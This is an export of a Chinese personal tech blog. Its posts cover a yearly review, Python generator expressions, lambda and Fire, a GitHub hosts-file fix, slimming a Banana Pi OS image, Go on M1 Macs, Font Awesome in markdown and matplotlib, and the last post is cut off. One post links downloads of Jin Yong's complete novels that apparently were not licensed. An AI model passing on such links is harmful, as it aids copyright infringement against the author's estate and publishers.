  <entry>
    <title>2020总结及2021年展望</title>
    <url>/2021/02/04/flags-2021/</url>
    <content><![CDATA[<p>2020总结及2021年展望</p>
<p>Funny things😜</p>
<ol>
<li>张大妈粉丝突破一千。<br><img src="https://images.yrzdm.com/imgs/20210204/JE0T2dMfjobI.jpg" alt="张大妈"></li>
<li>成为湖北宜昌移动的合作伙伴，帮助湖北异常移动公司开发了多个内部应用。<br><img src="https://images.yrzdm.com/imgs/20210204/NResalwfp4O7.jpg?imageslim" alt="湖北移动-宜昌分公司"></li>
<li>兼职，为在校学生设计svm分类器作业，物体识别训练的作业。以及多个商业爬虫项目的制作。</li>
<li>参与开源项目的翻译repo</li>
<li>为AntV G2提交repo</li>
</ol>
<p>Physical condition</p>
<ol>
<li>Pushups 100 计划未执行，未持续执行。❌</li>
<li>宋健民的速效感冒灵的使用，未执行。❌</li>
<li>哑铃肌肉锻炼，未持续执行。❌</li>
<li>负重深蹲联系，未持续执行。❌</li>
</ol>
<p>Books 📓</p>
<ol>
<li><p>你当像鸟飞往你的山</p>
</li>
<li><p>C++编程思想</p>
</li>
<li><p>Python面试题汇总</p>
</li>
<li><p>Java编程思想</p>
</li>
<li><p>刑法学讲义</p>
</li>
<li><p>子弹笔记</p>
</li>
<li><p>蛊惑世界的力量</p>
<p>忍不住骂自己，书看的还是太太太少…这特么一年都干了些啥。😡 生气</p>
</li>
</ol>
<p>ToDO 2021</p>
<p>[] 考研</p>
<p>[] 带宝去皮肤病医院</p>
<p>[] 车辆刹车油更换，车轮X换位。</p>
<p>[] 外出旅行一次</p>
<p>[] 张大妈破w粉，成为生活家</p>
<p>[] 如果时间允许，体验顺丰快递员，体验兼职司机。</p>
<p>[] 关于宝成长教育的思考，实践</p>
<p>[] 储藏室创业项目的启动</p>
<p>[]  健身计划</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>flag</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Flag</tag>
      </tags>
  </entry>
  <entry>
    <title>使用生成器表达式来改写数据量比较大列表推导</title>
    <url>/2020/04/17/generator-expression/</url>
    <content><![CDATA[<p><img src="http://imgs.yrzdm.com/imgs/20200417/JixsvvVoQCNj.png?imageslim" alt="generator expression"></p>
<blockquote>
<p>列表推导的缺点是：在推导过程中，对于输入序列的每个值都要创建仅含一项元素的全新列表。如果数据量较大会消耗大量内存，导致程序崩溃。</p>
</blockquote>
<a id="more"></a>

<h3 id="推导代码："><a href="#推导代码：" class="headerlink" title="推导代码："></a>推导代码：</h3><figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python">value = [len(x) <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> open(<span class="hljs-string">'\file.txt'</span>)]<br>print(value)<br></code></pre></td></tr></table></figure>

<p>为了解决此问题Python提供了生成器表达式（generator expression），它是对列表推导和生成器的一种泛化(generalization)。<strong>生成器表达式在运行的时候并不会把整个输出序列都呈现出来</strong>，而是会估值为迭代器(iterator)，这个迭代器每次可以根据生成器表达式产生一项数据。</p>
<h3 id="生成器表达式"><a href="#生成器表达式" class="headerlink" title="生成器表达式"></a>生成器表达式</h3><p>把实现列表推导式所用的写法放入一对圆括号中，就构成了生成器表达式。</p>
<figure class="highlight Python"><table><tr><td class="code"><pre><code class="hljs Python">it = (len(x) <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> open(<span class="hljs-string">'\file.txt'</span>))<br>print(it)<br>print(next(it))<br></code></pre></td></tr></table></figure>

<h4 id="生成器表达式组合"><a href="#生成器表达式组合" class="headerlink" title="生成器表达式组合"></a>生成器表达式组合</h4><figure class="highlight lisp"><table><tr><td class="code"><pre><code class="hljs lisp">it = (<span class="hljs-name">len</span>(<span class="hljs-name">x</span>) for x in open('\file.txt'))<br>roots = ((<span class="hljs-name">x</span>,x**0.<span class="hljs-number">5</span>) for x in it)<br>print(<span class="hljs-name">next</span>(<span class="hljs-name">roots</span>))<br></code></pre></td></tr></table></figure>

<blockquote>
<p>外围的迭代器每次前进时，都会推动内部的迭代器。</p>
</blockquote>
<p><strong>组合的表达式速度会很快</strong></p>
<h3 id="二者区别"><a href="#二者区别" class="headerlink" title="二者区别"></a>二者区别</h3><p>生成器表达式求值时，它会立刻返回一个迭代器，而不会深入处理文件中的内容。</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>金庸武侠小说大全-电子版下载</title>
    <url>/2018/11/05/hero-novel/</url>
    <content><![CDATA[<p><img src="https://i.loli.net/2018/11/05/5bdfe866de992.png" alt="cmd-markdown-logo"></br></p>
<p>飞雪连天射白鹿，笑书神侠倚碧鸳，感谢查老带来的经典武侠作品，虽然没有读过几本，在大家读金庸的时候相同的时间我给了韩寒、苏童、王小波、路遥还有一系列的《电脑报》、《萌芽》、《Hacker X档案》 《黑客防线》等书籍，以下为整理的金庸武侠大全电子版，供大家下载：</p>
<a id="more"></a>

<blockquote>
<ul>
<li>《飞狐外传》</li>
<li>《雪山飞狐》</li>
<li>《连城诀》</li>
<li>《天龙八部》</li>
<li>《射雕英雄传》</li>
<li>《白马啸西风》</li>
<li>《鹿鼎记》</li>
<li>《笑傲江湖》</li>
<li>《书剑恩仇录》</li>
<li>《神雕侠侣》</li>
<li>《侠客行》</li>
<li>《倚天屠龙记》</li>
<li>《碧血剑》</li>
<li>《鸳鸯刀》</li>
<li>《越女剑》</li>
</ul>
</blockquote>
<h3 id="电子书说明"><a href="#电子书说明" class="headerlink" title="电子书说明"></a>电子书说明<i class="icon-file"></i></h3><ul>
<li><input checked="" disabled="" type="checkbox"> TXT版本 <a class="link"   href="https://yadi.sk/d/SXwMv1-tVMsqBQ"  target="_blank" rel="noopener">txt版本下载<i class="fas fa-external-link-alt"></i></a></li>
<li><input checked="" disabled="" type="checkbox"> 插图版  <a class="link"   href="https://yadi.sk/d/SXwMv1-tVMsqBQ"  target="_blank" rel="noopener">插图版下载<i class="fas fa-external-link-alt"></i></a></li>
<li><input checked="" disabled="" type="checkbox"> PDF三联 <a class="link"   href="https://yadi.sk/d/xKmKiwL5pNiQSg"  target="_blank" rel="noopener">PDF版下载<i class="fas fa-external-link-alt"></i></a></li>
</ul>
]]></content>
      <categories>
        <category>ebook</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>ebook,kindle,collect</tag>
      </tags>
  </entry>
  <entry>
    <title>google-fire.md</title>
    <url>/2020/01/13/google-fire-md/</url>
    <content><![CDATA[<p><a href="https://imgchr.com/i/l7asTx" target="_blank" rel="noopener"><img src="https://s2.ax1x.com/2020/01/13/l7asTx.md.png" alt="l7asTx.md.png"></a><br>Python Fire is a library for automatically generating command line interfaces (CLIs) from absolutely any Python object.</p>
<a id="more"></a>

<p>fire 是Google开源的一个python库，能够以简单的方式生成CLI，使得使用REPL更加容易。</p>
<ol>
<li><strong>安装直接pypi库</strong><figure class="highlight cmake"><table><tr><td class="code"><pre><code class="hljs cmake">pip <span class="hljs-keyword">install</span> fire<br></code></pre></td></tr></table></figure></li>
<li><strong>使用函数</strong><figure class="highlight sqf"><table><tr><td class="code"><pre><code class="hljs sqf">import <span class="hljs-built_in">fire</span><br>def hello(<span class="hljs-built_in">name</span>=<span class="hljs-string">"world"</span>)<br>    return <span class="hljs-string">'Hello &#123;name&#125;!'</span>.<span class="hljs-built_in">format</span>(<span class="hljs-built_in">name</span>=<span class="hljs-built_in">name</span>)<br><span class="hljs-keyword">if</span> <span class="hljs-variable">__name__</span> == <span class="hljs-string">'__main__'</span>:<br>    <span class="hljs-built_in">fire</span>.<span class="hljs-built_in">Fire</span>(hello)<br></code></pre></td></tr></table></figure>
hello函数接收name参数，并有默认值”world”，使用fire.Fire(hello)即可简单快速的实现命令功能.<figure class="highlight gams"><table><tr><td class="code"><pre><code class="hljs gams"><span class="hljs-meta"><span class="hljs-meta-keyword">$python</span> hello.py</span><br>Hello world!<br><span class="hljs-meta"><span class="hljs-meta-keyword">$python</span> hello.py --name=Roy</span><br>Hello roy!<br></code></pre></td></tr></table></figure></li>
<li>Class的使用<br>fire支持类的调用方式。<figure class="highlight ruby"><table><tr><td class="code"><pre><code class="hljs ruby">import fire<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Calculator</span>(<span class="hljs-title">object</span>):</span><br>    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">double</span><span class="hljs-params">(<span class="hljs-keyword">self</span>,number)</span></span>:<br>        <span class="hljs-keyword">return</span> <span class="hljs-number">2</span>*number<br>    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">triple</span><span class="hljs-params">(<span class="hljs-keyword">self</span>,number)</span></span>:<br>        <span class="hljs-keyword">return</span> <span class="hljs-number">3</span>*number<br><br><span class="hljs-keyword">if</span> __name_<span class="hljs-number">_</span> == <span class="hljs-string">'__main__'</span>:<br>    fire.Fire(Calculator)<br></code></pre></td></tr></table></figure>
使用方法<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">$python calculator.py <span class="hljs-built_in">double</span> <span class="hljs-number">10</span><br><span class="hljs-number">20</span><br>$python calculator.py triple --number=<span class="hljs-number">15</span><br><span class="hljs-number">45</span><br></code></pre></td></tr></table></figure>
fire的使用非常简单，定义一个对象，剩下的交给fire来处理，it’s very pythonic.</li>
</ol>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>github访问图片加载优化</title>
    <url>/2021/01/29/github-access-optimization/</url>
    <content><![CDATA[<p>有时会碰到GitHub页面的图片无法正常显示的问题，都1202年了，还有受这种问题的困扰，非常难受。<br>根本原因应该是DNS解析的问题。</p>
<h4 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h4><p>使用本地的hosts文件高速浏览器对目标域名的解析，一般的DNS问题通过这样的方式都可以解决。</p>
<ol>
<li>找到不能访问的图片链接的域名</li>
<li>将二级域名的地址通过<code>ipaddress.com</code>进行解析获得真是的ip地址。</li>
<li>编辑本地的<code>hosts</code>文件</li>
<li>更新本地的host配置缓存。</li>
</ol>
<p>长期更新： <a class="link"   href="https://github.com/cx4/github_hosts"  target="_blank" rel="noopener">github_hosts<i class="fas fa-external-link-alt"></i></a></p>
]]></content>
      <categories>
        <category>docs</category>
        <category>daily</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>tools</tag>
      </tags>
  </entry>
  <entry>
    <title>友善之臂移植香蕉派的树莓派系统，并进行精简</title>
    <url>/2020/01/19/Friendly-BananaPi-Raspberry/</url>
    <content><![CDATA[<p><img src="http://imgs.yrzdm.com/imgs/20200119/16GMl6BH1Pbs.jpg?imageslim" alt="mark"></p>
<a id="more"></a>
<p>使用BPI-M2P-H3 的Raspbian ROM，用etcher烧录到tf卡中，安装xrdp进行远程桌面的登录。</p>
<figure class="highlight routeros"><table><tr><td class="code"><pre><code class="hljs routeros">sudo apt-<span class="hljs-builtin-name">get</span> install xrdp<br></code></pre></td></tr></table></figure>
<p>安装完成后，使用ifconfig获得本地ip地址，然后使用windows进行远程登陆。<br>在未进行配置之前，使用默认的密码进行初次登录pi bananapi</p>
<p>考虑到此开发板的后期应用场景，需要对此进行精简rom，作为一个单纯的服务端来使用，去除没有必要的组件。</p>
<h3 id="精简操作"><a href="#精简操作" class="headerlink" title="精简操作"></a>精简操作</h3><ol>
<li>删除Games<figure class="highlight ebnf"><table><tr><td class="code"><pre><code class="hljs ebnf"><span class="hljs-attribute">rm -rf python-games</span><br></code></pre></td></tr></table></figure>
<img src="http://imgs.yrzdm.com/imgs/20200119/qdpdtvtCYCNo.jpg?imageslim" alt="mark"></li>
<li>删除opt目录下的示范代码<figure class="highlight armasm"><table><tr><td class="code"><pre><code class="hljs armasm"><span class="hljs-symbol">sudo</span> rm -rf <span class="hljs-meta">opt</span><br></code></pre></td></tr></table></figure></li>
<li>移除IBM的Node-RED、Mathematica、Scratch、Sonic Pi、Minecraft Pi<figure class="highlight routeros"><table><tr><td class="code"><pre><code class="hljs routeros">sudo apt-<span class="hljs-builtin-name">get</span> <span class="hljs-builtin-name">remove</span> --purge --auto-<span class="hljs-builtin-name">remove</span> nodered wolfram-engine scratch sonic-pi minecraft-pi<br></code></pre></td></tr></table></figure>
<img src="http://imgs.yrzdm.com/imgs/20200119/Ug9wx0zLsSIL.png?imageslim" alt="mark"></li>
<li>移除掉Sense HAT Emulator<figure class="highlight routeros"><table><tr><td class="code"><pre><code class="hljs routeros">sudo apt-<span class="hljs-builtin-name">get</span> <span class="hljs-builtin-name">remove</span> --purge --auto-<span class="hljs-builtin-name">remove</span> python-sense-emu python3-sense-emu python-sense-emu-doc sense-emu-tools<br></code></pre></td></tr></table></figure>
<img src="http://imgs.yrzdm.com/imgs/20200119/Ibw1gKs7Jss1.png?imageslim" alt="mark"></li>
<li>移除Libre Office(后边的*意思是全部移除)<figure class="highlight routeros"><table><tr><td class="code"><pre><code class="hljs routeros">sudo apt-<span class="hljs-builtin-name">get</span> <span class="hljs-builtin-name">remove</span> --purge --auto-<span class="hljs-builtin-name">remove</span> libreoffice*<br></code></pre></td></tr></table></figure></li>
<li>移除掉浏览器(保留谷歌浏览器,因为项目中用到了谷歌浏览器)<figure class="highlight routeros"><table><tr><td class="code"><pre><code class="hljs routeros">sudo apt-<span class="hljs-builtin-name">get</span> <span class="hljs-builtin-name">remove</span> --purge --auto-<span class="hljs-builtin-name">remove</span> claws-mail rpi-chromium-mods epiphany-browser dillo<br></code></pre></td></tr></table></figure></li>
<li>移除两套Java IDE：BlueJ与Greenfoot，一套轻量型IDE：Geany<figure class="highlight routeros"><table><tr><td class="code"><pre><code class="hljs routeros">sudo apt-<span class="hljs-builtin-name">get</span> <span class="hljs-builtin-name">remove</span> --purge --auto-<span class="hljs-builtin-name">remove</span> bluej greenfoot geany<br></code></pre></td></tr></table></figure></li>
<li>执行清洁<figure class="highlight routeros"><table><tr><td class="code"><pre><code class="hljs routeros">sudo apt-<span class="hljs-builtin-name">get</span> autoremove<br>sudo apt-<span class="hljs-builtin-name">get</span> clean<br></code></pre></td></tr></table></figure>
<h3 id="升级固件，让固件支持emmc-5-1"><a href="#升级固件，让固件支持emmc-5-1" class="headerlink" title="升级固件，让固件支持emmc 5.1"></a>升级固件，让固件支持emmc 5.1</h3></li>
<li>升级bpi-tools<figure class="highlight ebnf"><table><tr><td class="code"><pre><code class="hljs ebnf"><span class="hljs-attribute">sudo su<br>bpi-tools</span><br></code></pre></td></tr></table></figure></li>
<li>下载升级固件驱动<figure class="highlight stata"><table><tr><td class="code"><pre><code class="hljs stata">bpi-<span class="hljs-keyword">update</span> -c bpi-m2p.<span class="hljs-keyword">conf</span><br></code></pre></td></tr></table></figure></li>
<li>检查下载的文件格式<figure class="highlight nginx"><table><tr><td class="code"><pre><code class="hljs nginx"><span class="hljs-attribute">file</span> <span class="hljs-regexp">*.tgz</span><br></code></pre></td></tr></table></figure></li>
<li>生成bootloader<figure class="highlight ebnf"><table><tr><td class="code"><pre><code class="hljs ebnf"><span class="hljs-attribute">bpi-bootsel</span><br></code></pre></td></tr></table></figure>
bootloader 生成后将会出现地址</li>
<li>升级bootloader<figure class="highlight crystal"><table><tr><td class="code"><pre><code class="hljs crystal">bpi-bootsel /usr/<span class="hljs-class"><span class="hljs-keyword">lib</span>/<span class="hljs-title">u</span>-<span class="hljs-title">boot</span>/<span class="hljs-title">bananapi</span>/<span class="hljs-title">bpi</span>-<span class="hljs-title">m2p</span>/<span class="hljs-title">BPI_M2P_720P</span>.<span class="hljs-title">img</span>.<span class="hljs-title">gz</span></span><br></code></pre></td></tr></table></figure>
使用生成的bootloader</li>
<li>重启<figure class="highlight ebnf"><table><tr><td class="code"><pre><code class="hljs ebnf"><span class="hljs-attribute">reboot</span><br></code></pre></td></tr></table></figure>

</li>
</ol>
<h3 id="生成自己的ROM"><a href="#生成自己的ROM" class="headerlink" title="生成自己的ROM"></a>生成自己的ROM</h3><p><a class="link"   href="http://forum.banana-pi.org/t/how-to-use-bpi-tools-migrate-command-to-build-yourself-image/2019"  target="_blank" rel="noopener">http://forum.banana-pi.org/t/how-to-use-bpi-tools-migrate-command-to-build-yourself-image/2019<i class="fas fa-external-link-alt"></i></a></p>
<p><a class="link"   href="http://wiki.banana-pi.org/Getting_Started_with_M2P#Load_your_image_on_M2P_EMMC"  target="_blank" rel="noopener">http://wiki.banana-pi.org/Getting_Started_with_M2P#Load_your_image_on_M2P_EMMC<i class="fas fa-external-link-alt"></i></a></p>
<p>参考了这两个链接。</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>lambda-function</title>
    <url>/2020/05/16/lambda-function/</url>
    <content><![CDATA[<p>Python: What is a Lambda Function?</p>
<p>In Python ,the <strong>lambda</strong> keyword is used to define an anonymous(i.e.,nameless) function, using the follow syntax: </br></p>
<a id="more"></a>
<p><code>lambda parameters: expression</code></p>
<p>Assunme we have the follow list of fruits:</p>
<p><code>fruits = [&#39;apple&#39;,&#39;orange&#39;,&#39;grape&#39;,&#39;lemon&#39;,&#39;mango&#39;,&#39;banana&#39;]</code></p>
<p>Now imagine we need to filter our list to print only fruit names which are 5 characters long.We could do so by defining a named function to test word lengths,and then passing it (and our list of fruits) to <strong>filter()</strong>:</br></p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">five_letter_words</span><span class="hljs-params">(word)</span>:</span><br>    <span class="hljs-keyword">if</span> len(word) == <span class="hljs-number">5</span>:<br>      <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span><br>five_letter_fruits = filter(five_letter_words,fruits)<br><br><span class="hljs-keyword">for</span> fruit <span class="hljs-keyword">in</span> five_letter_fruits:<br>  print(fruit)<br></code></pre></td></tr></table></figure>
<p>Or, the same task can be accomeplished directly in <strong>filter()</strong> using <strong>lambda</strong> expression, without needing to define a separate named function:</br></p>
<figure class="highlight livecodeserver"><table><tr><td class="code"><pre><code class="hljs livecodeserver">five_letter_fruits = <span class="hljs-built_in">filter</span>(lambda <span class="hljs-built_in">word</span>:<span class="hljs-built_in">len</span>(<span class="hljs-built_in">word</span>)==<span class="hljs-number">5</span>,fruits)<br><span class="hljs-keyword">for</span> fruit <span class="hljs-keyword">in</span> five_letter_fruits:<br>  print(fruit)<br></code></pre></td></tr></table></figure>
<p>Beacuse lambda functions are Python expressions, they can be assigned to variables.<br>So, this:</br></p>
<figure class="highlight gml"><table><tr><td class="code"><pre><code class="hljs gml">add_two = lambda <span class="hljs-symbol">x</span>,<span class="hljs-symbol">y</span> <span class="hljs-symbol">x</span>+<span class="hljs-symbol">y</span><br>add_two(<span class="hljs-number">3</span>,<span class="hljs-number">5</span>)<br></code></pre></td></tr></table></figure>
<p>Is equivalent to this:</p>
<figure class="highlight gml"><table><tr><td class="code"><pre><code class="hljs gml">def add_two(<span class="hljs-symbol">x</span>,<span class="hljs-symbol">y</span>):<br>  <span class="hljs-keyword">return</span> <span class="hljs-symbol">x</span>+<span class="hljs-symbol">y</span><br>add_two(<span class="hljs-number">3</span>,<span class="hljs-number">5</span>)<br></code></pre></td></tr></table></figure>]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>在Mac M1Chip 上安装Golang</title>
    <url>/2021/10/18/install-golang-on-Apple-Silicon/</url>
    <content><![CDATA[<p>从1.16版本开始golang已经开始原生支持M1 Cpu,现在2021-10-18日已经是1.17版本，我的MBP安装完成后 使用<code>go version</code>没有反应看了网上好多方案，都不行 知道看到有个网友使用brew建立连接的方式，才成功，记录一下</p>
<ol>
<li>安装pkg安装包后。</li>
<li><code>mkdir /opt/homebrew/Cellar/go</code></li>
<li>创建symlink <code>ln -s /usr/local/go /opt/homebrew/Cellar/go/1.72</code></li>
<li>运行<code>brew link go</code></li>
</ol>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>Markdown Awesome</title>
    <url>/2018/08/17/markdown-awesome/</url>
    <content><![CDATA[<p>`<head><br>    <script defer src="https://use.fontawesome.com/releases/v5.0.13/js/all.js"></script><br>    <script defer src="https://use.fontawesome.com/releases/v5.0.13/js/v4-shims.js"></script> </p>
<meta name="generator" content="Hexo 4.1.1"></head> 
<link rel="stylesheet" href="http://apps.bdimg.com/libs/fontawesome/4.4.0/css/font-awesome.min.css">
`


<p><img src="https://i.loli.net/2018/08/24/5b7f5c26bd8b9.png" alt="fontawesome-markdown"></p>
<h2 id="在markdown文章张使用图标装饰"><a href="#在markdown文章张使用图标装饰" class="headerlink" title="在markdown文章张使用图标装饰"></a>在markdown文章张使用图标装饰</h2><p>在之前的工作中制作原型，包括上一篇文章中用到的iconfont的图标，每次都要处理多次。<br>看到bootstrap的教程中使用@face-font 可以使用图标，突然想到markdown能否直接调用iconfont、fontawesome的图标？网上一搜果然是有的，像我一样的懒人在我之前就存在。</p>
<a id="more"></a>
<h3 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h3><p>Font Awesome是一个字体和图标工具包，包含人物、动物、建筑、商业、品牌、娱乐、动作等等各种主题丰富的图标符号，iconfont也类似起步晚一点是ali旗下的一个开源工具包。</p>
<p>要在markdown文档中输入Font Awesome，需要在文档任意位置输入一下代码调用JavaScript。</p>
<figure class="highlight xml"><table><tr><td class="code"><pre><code class="hljs xml"><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span> <br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">defer</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"https://use.fontawesome.com/releases/v5.0.13/js/all.js"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span> <br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">defer</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"https://use.fontawesome.com/releases/v5.0.13/js/v4-shims.js"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span> <br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span> <br><span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"stylesheet"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"https://use.fontawesome.com/releases/v5.2.0/css/all.css"</span> <span class="hljs-attr">integrity</span>=<span class="hljs-string">"sha384-hWVjflwFxL6sNzntih27bfxkr27PmbbK/iSvJ+a4+0owXq79v+lsFkW54bOGbiDQ"</span> <span class="hljs-attr">crossorigin</span>=<span class="hljs-string">"anonymous"</span>&gt;</span><br></code></pre></td></tr></table></figure>
<p>iconFont的使用方法类似，但是区别是，需要将使用的图标先用自己的账号登陆后，收藏然后下载生成的css文件。需要引用本地的css文件。<br>当然灵活性要差一点，必须之前没有收藏某个图标，这下抓瞎了吧。😭<br>生成的css文件格式格式类似如下：</p>
<blockquote>
<p>//at.alicdn.com/t/font_8d5l8fzk5b87iudi.css</p>
</blockquote>
<h2 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h2><p>现在就可以直接插入Font Awesome和iconfont的符号了。</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><code class="hljs javascript">&lt;i <span class="hljs-class"><span class="hljs-keyword">class</span></span>=<span class="hljs-string">"fa fa-weixin"</span>&gt;<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">i</span>&gt;</span></span><br></code></pre></td></tr></table></figure>
<p>iconfont使用方法类似</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><code class="hljs javascript">&lt;i <span class="hljs-class"><span class="hljs-keyword">class</span></span>=<span class="hljs-string">"iconfont icon-xxx"</span>&gt;<span class="xml"><span class="hljs-tag">&lt;/<span class="hljs-name">i</span>&gt;</span></span><br></code></pre></td></tr></table></figure>
<p>这是表示插入了一个微信图标的符号。<i class="fa fa-weixin"><i></p>
<h2 id="获取符号名称"><a href="#获取符号名称" class="headerlink" title="获取符号名称"></a>获取符号名称</h2><p><em>fa-weixin</em> 是微信的名称，如何调用其他的图标呢？<br>在awesome 获取后可以保存到LaunchBar中一遍以后方便使用。<br>iconfont 只需要点击收藏就好，在生成的css中可以查询。</p>
<h3 id="调节尺寸"><a href="#调节尺寸" class="headerlink" title="调节尺寸"></a>调节尺寸</h3><figure class="highlight javascript"><table><tr><td class="code"><pre><code class="hljs javascript">&lt;i <span class="hljs-class"><span class="hljs-keyword">class</span></span>=<span class="hljs-string">"fa fa-weixin"</span>&gt;<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">i</span>&gt;</span></span><br></code></pre></td></tr></table></figure>
<p>扩展改写为：</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><code class="hljs javascript">&lt;i <span class="hljs-class"><span class="hljs-keyword">class</span></span>=<span class="hljs-string">"fa fa-weixin fa-2x"</span>&gt;<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">i</span>&gt;</span></span><br></code></pre></td></tr></table></figure>

<p><i class="fa fa-weixin fa-2x"><i></br></p>
<h4 id="可用参数列表："><a href="#可用参数列表：" class="headerlink" title="可用参数列表："></a>可用参数列表：</h4><figure class="highlight clean"><table><tr><td class="code"><pre><code class="hljs clean">fa-xs<br>fa-sm<br>fa-lg<br>fa<span class="hljs-number">-2</span>x至fa<span class="hljs-number">-10</span>x<br>### 动画效果<br>在<span class="hljs-keyword">class</span>中加入 “fa-spin” 使符号变成连贯转动，加入“fa-pulse”变成<span class="hljs-number">8</span>步旋转效果。<br></code></pre></td></tr></table></figure>

<h3 id="符号的特殊用法"><a href="#符号的特殊用法" class="headerlink" title="符号的特殊用法"></a>符号的特殊用法</h3><p>####符号下沉</p>
<figure class="highlight coq"><table><tr><td class="code"><pre><code class="hljs coq">&lt;i class=<span class="hljs-string">"fas fa-quote-left fa-3x fa-pull-left"</span>&gt;&lt;/i&gt;<br>fa-<span class="hljs-built_in">quote</span>-<span class="hljs-built_in">left</span> 是符号名称<br>fa<span class="hljs-number">-3</span>x         表示大小<br>fa-pull-<span class="hljs-built_in">left</span>  符号下沉<br></code></pre></td></tr></table></figure>

<h4 id="上篇文章中所应用到的图标-应该如下正确使用"><a href="#上篇文章中所应用到的图标-应该如下正确使用" class="headerlink" title="上篇文章中所应用到的图标 应该如下正确使用:"></a>上篇文章中所应用到的图标 应该如下正确使用:</br></h4><p><i class="fa fa-rocket"></i> 小火箭</br><br><i class="fa fa-meh-rolling-eyes"></i><br><i class="fa fa-chess-rook"></i><br><i class="fa fa-sync-alt fa-spin"></i><br><i class="fa fa-crosshairs fa-pulse"></i><br><i class="fa fa-apple"></i><br><i class="fa fa-android"></i><br><i class="fa fa-app-store-ios"></i><br><i class="fa fa-windows"></i><br><i class="fa fa-laugh-wink"></i><br><i class="fa fa-kiss-wink-heart"></i></br></p>
<i class="fa fa-vuejs">
以上是icon的应用，接下来制定自己的学习计划，开始学习Vue.js。

]]></content>
      <categories>
        <category>markdown</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>markdown,fontawesome,collect</tag>
      </tags>
  </entry>
  <entry>
    <title>导航页面</title>
    <url>/2021/02/25/navigate-sites/</url>
    <content><![CDATA[<p>  对经常访问的多个网址在保存书签后，由于习惯了chrome的使用环境，如果在别处登录还需要科学上网才能同步书签感觉比较麻烦，索性搭建一个静态的导航页。使用github pages的速度有时候也是受网络环境的影响比较大，刚好看到Vercal提供静态托管，免费版本够用了，而且速度挺快的。</p>
<p>使用hugo搭建了一个，可以自定义域名。👍</p>
<p>网址： <a class="link"   href="https://navi.yrzdm.com"  target="_blank" rel="noopener">navi.yrzdm.com<i class="fas fa-external-link-alt"></i></a></p>
<p>即便想要从远程地址添加导航地址，也只需要从github里面直接修改就好，可以搭配action的自动配置，如果不想配置，从github中直接修改的话，也会立刻同步到vercal，这点还是非常方便的。</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>navigate</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>导航</tag>
      </tags>
  </entry>
  <entry>
    <title>matplotlib去除生成图片的白边</title>
    <url>/2021/05/12/matplotlib-remove-edge/</url>
    <content><![CDATA[<p>使用<code>matplotlib</code>中 <code>plt.savefig()</code>保存图片，图片四周有一圈空白，考虑到这是个重复使用比较高的功能，记录下来：</p>
<ol>
<li><p>首先需要关闭坐标轴显示</p>
<p><code>plt.axis(&#39;off&#39;)</code> 这样透明的坐标轴仍然会占据左下角，导致图片偏右</p>
<p>完全去除坐标轴显示需要添加下列配置</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python">fig = plt.gcf()<br>fig.set_size_inches(<span class="hljs-number">7.0</span>/<span class="hljs-number">3</span>,<span class="hljs-number">7.0</span>/<span class="hljs-number">3</span>) <span class="hljs-comment">#输出图片大小和分辨率 700*700 dpi300</span><br></code></pre></td></tr></table></figure>
</li>
<li><p>去白边配置</p>
